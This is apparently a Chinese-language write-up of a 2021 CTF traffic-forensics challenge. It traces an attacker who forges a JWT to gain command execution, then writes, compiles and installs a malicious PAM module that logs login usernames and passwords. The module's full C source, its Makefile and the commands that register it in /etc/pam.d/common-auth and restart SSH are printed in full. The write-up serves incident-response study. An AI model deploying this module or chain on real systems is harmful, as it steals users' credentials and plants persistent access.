Problem: [陇剑杯 2021]jwt(问2)
初步学习,逐个看tcp流
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
追踪tcp流:
1、
是一些有的没的,几张图片之类
2、
GET /exec HTTP/1.1
Cookie: PHPSESSID=3f8coeg6hm9vf0h5lcoifmk8o5;
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc【网站采用了jwt认证方式,前两段关键信息Base64,解码JSON Web Tokens - jwt.io】得黑客id 10086。回复:HTTP/1.1 200 OK
3、
POST /exec HTTP/1.1
Connection: close
command=whoami
回复:HTTP/1.1 200 OK
没权限
4、
GET /images?file=d.png HTTP/1.1 查看图片,返回图片
5、
POST /exec HTTP/1.1
Host: 192.168.2.197:8081
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0
Connection: close
command=whoami
回复:
alert("root\n")
id变了10087,成功获取权限,靠jwt绕过了
6、
POST /exec HTTP/1.1
command=echo%20MTIz|base64%20-d 黑客测试一下(base64
回复:
alert("123")
window.location.href="/exec";前面也有这句,因为post请求了
7、
POST /exec HTTP/1.1
command=echo%20I2luY2x1ZGUgPxxx等等|base64%20-d
回复HTTP/1.1 200 OK
alert("#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003ccurl/curl.h\u003e\n#include \u003cstring.h\u003e\n#include \u003csecurity/pam_appl.h\u003e\n#include \u003csecurity/pam_modules.h\u003e\n#include \u003cunistd.h\u003e\nsize_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)\n{\nreturn size * nmemb;\n}\n\nvoid saveMessage(char (*message)[]) {\nFILE *fp = NULL;\nfp = fopen(\u0022/tmp/.looter\u0022, \u0022a\u002b\u0022);\nfputs(*message, fp);\nfclose(fp);\n}\n\nPAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {\nreturn PAM_SUCCESS;\n}\n\nPAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {\nreturn PAM_SUCCESS;\n}\n\nPAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char argv ) {\nint retval;\nconst char username;\nconst char password;\nchar message[1024];\nretval = pam_get_user(pamh, \u0026username, \u0022Username: \u0022);\npam_get_item(pamh, PAM_AUTHTOK, (void *) \u0026password);\nif (retval != PAM_SUCCESS) {\nreturn retval;\n}\n\nsnprintf(message,2048,\u0022Username %s\nPassword: %s\n\u0022,username,password);\nsaveMessage(\u0026message);\nreturn PAM_SUCCESS;\n}")
【恶意代码恶意的 Linux PAM 模块,窃取用户凭证,关键字:#include。下面分析】window.location.href="/exec";
先看看能不能直接写入
8、
POST /exec HTTP/1.1
command=echo%20I2luY2x1ZG等等>/tmp/1.c【将上述恶意代码写入1.c文件】
回复HTTP/1.1 200 OK
window.location.href="/exec";
9、
command=ls%20/tmp
回复:
alert("1.c\n")
window.location.href="/exec";
查看成功有文件
10、
command=cat%20/tmp/1.c
回复:
alert("#include \u003c等等urn PAM_SUCCESS;\n}")
window.location.href="/exec";
查看文件正常
11、
command=echo%20Q0ZMQUdTICs9IC1XZXJyb3IgLVdhbGwKCmxvb3Rlci5zbzogbG9vdGVyLmMKCWdjYyAkKENGTEFHUykgLWZQSUMgLXNoYXJlZCAtWGxpbmtlciAteCAtbyAkQCAkPCAtbGN1cmw=|base64%20-d%20>/tmp/Makefile
回复
window.location.href="/exec";
【解密
CFLAGS += -Werror -Wall
looter.so: looter.c
gcc (CFLAGS) -fPIC -shared -Xlinker -x -o @ $< -lcurl】
gcc是编译C语言程序的,编译生成名为 looter.so 的共享库文件(Linux 下的动态链接库)。
looter.so: looter.c
这是 Makefile 的规则定义,格式为 目标文件: 依赖文件,表示:
要生成 looter.so(目标文件),需要依赖 looter.c(源代码文件);
当 looter.c 被修改后,执行 make 时会自动重新编译生成 looter.so。
12
command=ls%20/tmp
回复
alert("1.c\nMakefile\n")【两个文件成功新建】
13、
command=cd%20/tmp;make
回复:
window.location.href="/exec";
【先执行 cd /tmp(切换到 /tmp 目录);再执行 make(在 /tmp 目录下执行 Makefile 中的编译规则, 编译looter.so )】
14、
command=mv%20/tmp/1.c%20/tmp/looter.c【改名(mv:移动+改名)】
回复:
window.location.href="/exec";
15、
command=cd%20/tmp;make重复
16、
command=ls%20/tmp
回复:
alert("Makefile\nlooter.c\nlooter.so\n")
17、
command=cp%20/tmp/looter.so%20/lib/x86_64-linux-gnu/security/
【
cp 命令的作用:复制文件
cp [源文件路径] [目标路径] 是 Linux 中用于复制文件的命令,这里:
源文件:/tmp/looter.so(之前通过 Makefile 编译生成的恶意 PAM 模块,存放在临时目录 /tmp);
目标路径:/lib/x86_64-linux-gnu/security/(Linux 系统中PAM 模块的默认存放目录,系统在进行认证(如 SSH 登录、sudo 提权)时会从该目录加载模块)。
核心目的:部署恶意 PAM 模块
结合之前的 looter.c 代码(窃取用户名和密码的恶意模块),这条命令的最终效果是:
将编译好的 looter.so 复制到系统 PAM 模块目录,使其被系统 “认可” 为合法模块。当系统进行认证操作时(如用户登录),会自动加载 looter.so,从而触发其中的恶意逻辑(记录用户名和密码到 /tmp/.looter 文件)。
在 CTF 场景中的意义:
这是攻击者 ** 完成恶意模块 “持久化部署”** 的关键步骤 —— 从 “编译恶意代码”(make 命令)到 “将模块放入系统关键目录”(cp 命令),最终实现 “系统认证时自动窃密” 的闭环。通过流量分析或系统文件排查时,若发现向 security 目录复制未知 .so 文件,通常是恶意 PAM 模块的部署痕迹。
】
18、
echo "auth optional looter.so";
echo -e "\nauth optional looter.so";
echo "auth optional looter.so" >> /etc/pam.d/common-auth;
cat /etc/pam.d/common-auth;
service ssh restart;
cat /tmp/.looter
1. echo "auth optional looter.so"
这是测试命令,仅在终端输出字符串 auth optional looter.so,确认要写入的内容格式是否正确。
auth optional looter.so 是PAM 配置语法:auth 表示 “认证阶段”,optional 表示 “该模块是可选的(加载失败不影响整体认证)”,looter.so 是要加载的模块名 —— 意思是 “在系统认证时,尝试加载 looter.so 模块”。
2. echo -e "\nauth optional looter.so"
-e 选项让 echo 支持转义字符,\n 表示 “换行”,所以这条命令会输出 “换行 + auth optional looter.so”,进一步测试写入内容的格式(确保追加到文件时不会与原有内容粘连)。
3. echo "auth optional looter.so" >> /etc/pam.d/common-auth
这是核心操作:>> 表示 “追加写入”,将 auth optional looter.so 追加到 /etc/pam.d/common-auth 文件中。
/etc/pam.d/common-auth 是 Linux 系统全局认证配置文件(所有需要认证的服务,如 SSH、su、sudo 等,默认会读取该文件)。添加这句话后,系统在任何认证场景(如用户 SSH 登录)都会加载 looter.so 模块 —— 结合之前的 looter.c 代码,此时模块会自动记录用户名和密码到 /tmp/.looter。
4. cat /etc/pam.d/common-auth
查看 /etc/pam.d/common-auth 文件的内容,验证第三步的追加是否成功(确认 auth optional looter.so 已被正确写入)。
5. service ssh restart
alert(" * Restarting OpenBSD Secure Shell server sshd\n ...done.\n")
重启 SSH 服务:SSH 服务依赖 PAM 配置,重启后会重新加载 /etc/pam.d/common-auth 文件,确保 looter.so 模块被 SSH 登录流程加载(让窃密逻辑在 SSH 登录时生效)。
6. cat /tmp/.looter
alert("Username root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\n")
查看 /tmp/.looter 文件的内容 —— 这是 looter.so 模块记录用户名和密码的文件,攻击者通过这条命令获取已窃取的凭证(如用户登录时输入的账号密码)。
整体攻击链总结:
这一系列命令是攻击者部署恶意 PAM 模块的 “收尾操作”,完整流程为:
总结
编译恶意模块 looter.so(通过 Makefile);
将模块复制到系统 PAM 目录(cp /tmp/looter.so /lib/.../security/);
修改 PAM 配置文件(common-auth),让系统认证时加载该模块;
重启服务使配置生效;
查看窃密结果(/tmp/.looter)。
在 CTF 应急响应中,这类命令是典型的 “恶意模块持久化 + 窃密” 痕迹,通过分析 /etc/pam.d/common-auth 配置和 /tmp/.looter 文件,可直接定位攻击行为。

牛!